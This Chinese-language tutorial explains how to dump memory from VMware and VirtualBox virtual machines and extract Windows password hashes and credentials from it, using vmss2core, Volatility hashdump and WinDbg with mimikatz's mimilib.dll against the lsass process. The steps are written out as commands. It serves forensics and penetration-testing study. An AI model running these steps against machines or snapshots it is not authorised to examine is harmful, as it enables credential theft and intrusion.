1 VMware
#.vmss文件
挂起状态文件,用于存储挂起虚拟机的状态。它存储在工作目录中,在一些早期 VMware 产品中,挂起状态文件的扩展名为 .std
#.vmsn文件
快照状态文件,用于存储拍摄快照时虚拟机的运行状态
#.vmem文件
1. uuid.vmen:虚拟机分页文件,用于在主机文件系统上备份客户机主内存。该文件只在虚拟机运行或发生故障时存在。
2. 快照名称及编号.vmem:该文件为虚拟机内存文件,备份了客户机里运行的内存信息,用于保存快照前虚拟内存信息,该文件大小等于虚拟机分配内存的大小。
首先目标机器中导出内存,完整的内存数据包括两部分:物理内存数据(RAM)和页面交换文件数据,通过快照和挂起状态都可以获得虚拟内存文件.vmem
1.1 vmss2core
默认在VMware安装目录下,vmss2core下载地址:vmss2core
缺少dill:dll-files
1.1.1 创建内存转储
使用的vmware官方的vmss2core,可以不用拍快照,似乎是支持全版本windows,需要挂起状态下的vmss文件
#1. 挂起&快照
##vmss是挂起文件, vmsn是快照文件, vmem是虚拟机内存转储文件
vmss2core.exe -W "vmss/vmsn文件名" "vmem文件名"
#如果您使用的是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 或 Windows Server 2019 ,请运行以下命令:
vmss2core.exe -W8 virtual_machine_name.vmss virtual_machine_name.vmem
#如果使用的是 Linux,请运行如下命令:
./vmss2core-Linux64 -N virtual_machine_name.vmss
#标志: -W、-W8 或 -N 是用于引用虚拟机的来宾操作系统
默认生成memory.dmp
1.1.2 使用WinDbg提取hash
Windows 调试程序 (WinDbg) 可用于调试内核模式和用户模式代码、分析故障转储以及在代码执行时检查 CPU 寄存器。
WinDbg可以加载mimikatz的mimilib.dll从lsass进程中抓取密码
使用WinDbg Open Crash Dump
打开memory.dmp,然后加载mimikatz的mimilib.dll
,流程如下:
#设置符号路径,调试符号:它能带给我们很多程序内部的信息,如,变量、函数名、结构体等。
.symfix
#重新加载
.reload
#加载mimikatz的mimilib.dll
.load F:\Tools\Tools\10-后渗透\抓密码\mimikatz_trunk\x64\mimilib.dll
#查找lsass进程的EPROCESS地址
!process 0 0 lsass.exe
#ffffbe8db9123800是上一步查找lsass的PROCESS地址
.process /r /p ffffbe8db9123800
#载入mimikatz,读取密码
!mimikatz
如果得到了kd:x86>
的提示,且在执行!process 0 0 lsass.exe
后出现Unable to read _LIST_ENTRY
之类的错误,可以使用下列命令后可对32位程序进行调试
.load wow64exts
!wow64exts.sw
也可还是用volatility导出hash
1.2 volatility
Volatility 开源的取证框架,可以直接dump系统文件,查看进程,屏幕截图等,有2个主要版本:已经成熟稳定的2和正在开发的3,2是单exe文件,Volatility3是用python对Volatility2的重写,速度比Volatility2快很多,消除了对--profile的依赖,以便框架确定需要哪个符号表(配置文件)来匹配内存示例中的操作系统版本。
Volatility下载地址:Volatility
1.2.1 直接对vmem进行分析dumphash
Volatility2只有其支持的profile的操作系统版本才能进行内存转储,具体使用方法如下:
#1. Volatility2
#不知道选什么profile的话可以使用imageinfo来看他分析建议的profile(很耗时间)
volatility_2.6_win64_standalone.exe -f "vmem文件名/dmp文件名" imageinfo
#hashdump
#volatility_2.6_win64_standalone.exe -f "vmem文件名/dmp文件名" --profile=Win7SP1x64 hashdump
volatility_2.6_win64_standalone.exe -f "vmem文件名/dmp文件名" --profile=profile名 hashdump
#2. Volatility3
#不依赖profile,直接进行hashdump
python vol.py -f "vmem文件名/dmp文件名" windows.hashdump
这里使用的虚拟机就是win7,直接使用第一个Win7SP1x64
导出密码hash,参数--profile=Win7SP1x64
1.2.2 转储dmp文件
转存后可以使用WinDbg从lsass进程中dumphash:
#转存内存dump, 需指定profile
#volatility_2.6_win64_standalone.exe -f "vmem文件名" --profile=profile名 raw2dmp -O vmware.dmp
volatility_2.6_win64_standalone.exe -f "Windows 7 x64-Snapshot5.vmem" --profile=Win7SP1x64 raw2dmp -O vmware.dmp
Volatility2版本使用--info参数可查看所有支持的profile:
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
VistaSP1x64 - A Profile for Windows Vista SP1 x64
VistaSP1x86 - A Profile for Windows Vista SP1 x86
VistaSP2x64 - A Profile for Windows Vista SP2 x64
VistaSP2x86 - A Profile for Windows Vista SP2 x86
Win10x64 - A Profile for Windows 10 x64
Win10x64_10586 - A Profile for Windows 10 x64 (10.0.10586.306 / 2016-04-23)
Win10x64_14393 - A Profile for Windows 10 x64 (10.0.14393.0 / 2016-07-16)
Win10x86 - A Profile for Windows 10 x86
Win10x86_10586 - A Profile for Windows 10 x86 (10.0.10586.420 / 2016-05-28)
Win10x86_14393 - A Profile for Windows 10 x86 (10.0.14393.0 / 2016-07-16)
Win2003SP0x86 - A Profile for Windows 2003 SP0 x86
Win2003SP1x64 - A Profile for Windows 2003 SP1 x64
Win2003SP1x86 - A Profile for Windows 2003 SP1 x86
Win2003SP2x64 - A Profile for Windows 2003 SP2 x64
Win2003SP2x86 - A Profile for Windows 2003 SP2 x86
Win2008R2SP0x64 - A Profile for Windows 2008 R2 SP0 x64
Win2008R2SP1x64 - A Profile for Windows 2008 R2 SP1 x64
Win2008R2SP1x64_23418 - A Profile for Windows 2008 R2 SP1 x64 (6.1.7601.23418 / 2016-04-09)
Win2008SP1x64 - A Profile for Windows 2008 SP1 x64
Win2008SP1x86 - A Profile for Windows 2008 SP1 x86
Win2008SP2x64 - A Profile for Windows 2008 SP2 x64
Win2008SP2x86 - A Profile for Windows 2008 SP2 x86
Win2012R2x64 - A Profile for Windows Server 2012 R2 x64
Win2012R2x64_18340 - A Profile for Windows Server 2012 R2 x64 (6.3.9600.18340 / 2016-05-13)
Win2012x64 - A Profile for Windows Server 2012 x64
Win2016x64_14393 - A Profile for Windows Server 2016 x64 (10.0.14393.0 / 2016-07-16)
Win7SP0x64 - A Profile for Windows 7 SP0 x64
Win7SP0x86 - A Profile for Windows 7 SP0 x86
Win7SP1x64 - A Profile for Windows 7 SP1 x64
Win7SP1x64_23418 - A Profile for Windows 7 SP1 x64 (6.1.7601.23418 / 2016-04-09)
Win7SP1x86 - A Profile for Windows 7 SP1 x86
Win7SP1x86_23418 - A Profile for Windows 7 SP1 x86 (6.1.7601.23418 / 2016-04-09)
Win81U1x64 - A Profile for Windows 8.1 Update 1 x64
Win81U1x86 - A Profile for Windows 8.1 Update 1 x86
Win8SP0x64 - A Profile for Windows 8 x64
Win8SP0x86 - A Profile for Windows 8 x86
Win8SP1x64 - A Profile for Windows 8.1 x64
Win8SP1x64_18340 - A Profile for Windows 8.1 x64 (6.3.9600.18340 / 2016-05-13)
Win8SP1x86 - A Profile for Windows 8.1 x86
WinXPSP1x64 - A Profile for Windows XP SP1 x64
WinXPSP2x64 - A Profile for Windows XP SP2 x64
WinXPSP2x86 - A Profile for Windows XP SP2 x86
WinXPSP3x86 - A Profile for Windows XP SP3 x86
1.3 使用bin2dmp.exe
bin2dmp.exe下载地址:bin2dmp.exe
支持Windows XP到Windows 7的机器,也可直接从vmem导出dmp文件,需要使用WinDbg或volatility提取密码hash
#bin2dmp.exe "vmem文件名" vmware.dmp
bin2dmp.exe "Windows 7 x64-Snapshot5.vmem" vmware.dmp
不支持:
支持:
2 VirtualBox
VirtualBox挂起或暂停虚拟机时,不会自动将完整的物理内存数据转储保存到磁盘,所以需要进debug模式导出内存文件
2.1 创建内存文件
#1. 列出可用的VMs(VBoxManage.exe为安装VirtualBox时默认安装)
VBoxManage.exe list vms
#2. debug模式启动虚拟机(管理员下cmd运行)
VirtualBoxVM.exe --startvm "VMName/VM UUID" --dbg
#也可以在VirtualBox中右键->"创建桌面快捷方式",然后在快捷方式属性目标后添加--dbg进入调试模式,再以管理员身份运行
#3.两种获取内存转储方式(管理员下cmd运行)
#3.1 在虚拟机的窗口菜单的"调试"->"命令行"执行(导出后在VirtualBox安装目录下):
.pgmphystofile "virtualbox.bin"
#3.2 使用VBoxManage.exe,转储标准ELF64格式文件
VBoxManage.exe debugvm "VMName/VM UUID" dumpvmcore --filename virtualbox.elf
导出的ELF文件只有第一个load节部分保存原始内存转储
objdump -h "D:\Program Files\Oracle\VirtualBox\virtualbox.elf" | findstr /c:"Idx" /c:"load1 "
vmtest.elf中的内存dump就从0x2598开始,大小为0x80000000(2048MB)
2.2 导出hash
#1. Volatility2
volatility_2.6_win64_standalone.exe -f virtualbox.elf imageinfo
#volatility_2.6_win64_standalone.exe -f virtualbox.elf --profile=Win7SP1x64 hashdump
volatility_2.6_win64_standalone.exe -f virtualbox.elf --profile=profile名 hashdump
#2. Volatility3
python vol.py -f "D:\VirtualBox VMs\win7\virtualbox.elf" windows.hashdump
3 参考
Converting a snapshot file to memory dump using the vmss2core tool
How to extract a RAM dump from a running VirtualBox machine
评论已关闭